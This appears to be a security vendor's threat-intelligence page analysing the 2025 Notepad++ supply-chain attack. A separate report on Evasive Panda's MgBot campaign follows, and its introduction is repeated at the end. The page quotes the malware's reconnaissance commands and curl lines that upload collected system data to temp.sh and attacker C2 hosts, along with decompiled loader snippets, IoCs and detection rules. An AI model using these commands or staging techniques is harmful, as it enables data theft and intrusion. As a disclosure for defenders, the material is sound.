On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:

• Individuals located in Vietnam, El Salvador, and Australia;
• A government organization located in the Philippines;
• A financial organization located in El Salvador;
• An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1: late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

• Drops the following files to the %appdata%\ProShow directory:
  • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs
  • proshow.phd
  • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
• Executes the dropped ProShow.exe file.

The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

• In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
• The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 since early August 2025.

Chain #2: mid- and late September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

• Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
• Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

• They changed the working directory to %APPDATA%\Adobe\Scripts;
• They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:

• alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
• lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
• script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
• alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

• cmd /c whoami >> a.txt
• cmd /c tasklist >> a.txt
• cmd /c systeminfo >> a.txt
• cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:

• Changed the system information upload URL to https://self-dns.it[.]com/list;
• Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
• Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
• Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.

Chain #3: October 2025

In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

• BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
• log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
• BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
2. The Beacon configurations are encrypted with the XOR key CRAZY;
3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs: October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

• http://95.179.213[.]0/update/install.exe;
• http://95.179.213[.]0/update/update.exe;
• http://95.179.213[.]0/update/AutoUpdater.exe.

We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

• Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
• Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
• Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
• Use the specific IoCs listed below to identify known malicious domains and files.

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Next Endpoint Detection and Response Expert, successfully detect malicious activity in the attacks described above.

Let’s take a closer look at Kaspersky Next EDR Expert.

One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.

In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.

To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.

The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:

1. Indicators of compromise:
   1. malicious URLs used to extract information from the targeted infrastructure;
   2. malicious file names and hashes that were detected in this campaign.
2. Suspicious activity on the host:
   1. unusual command lines specific to these attacks;
   2. suspicious network activity from Notepad++ processes and an abnormal process tree;
   3. traces of data collection, e.g. single-character file names.

Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.

We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.

For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload URLs
http://45.76.155[.]202/list
https://self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

• Malware installation path: %ProgramData%\Microsoft\MF
• Resource domain: http://www.dictionary.com/
• Resource URI: image?id=115832434703699686&product=dict-homepage.png
• MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

